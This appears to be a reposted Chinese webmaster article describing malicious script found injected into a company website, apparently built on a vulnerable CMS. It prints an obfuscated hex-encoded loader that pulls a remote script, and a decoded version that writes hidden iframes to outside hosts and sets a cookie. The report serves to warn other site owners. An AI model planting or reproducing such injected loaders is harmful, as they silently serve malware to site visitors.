今天无意中发现我给一位朋友做的网站打开有点慢，职业病的查看了下源代码字顶部和底部分别发现了这样的代码：
<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
以前见人家挂马也是再底部，但是这种代码不认识
baidu了一下大吃一惊！
找到相关网页约785,000篇，用时0.117秒
而且绝大部分都是企业站怀疑也是良精的
打开麽个网站一看跟我的情形一样。仔细看看这个网站的代码确定是梁良精的程序。应该是良精的程序出现什么大漏洞了吧？
据落伍的高手转换后的代码如下：
document.write('<iframe height="0" frameborder="1" src="http://www.59.vc/page/add_54738542.htm" width="10" ></iframe>');
document.write('<iframe height="0" frameborder="1" src="http://office.faqserv.com/faq.htm" width="10" ></iframe>');
document.cookie = "Cookieakxx=akxx;expires=" Then.toGMTString() ";path=
这样看来又是框架木马了！
用量经作战的朋友赶紧看看吧！晚了被google认为是有病毒网站就有点冤枉了！
责任编辑:稻草
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
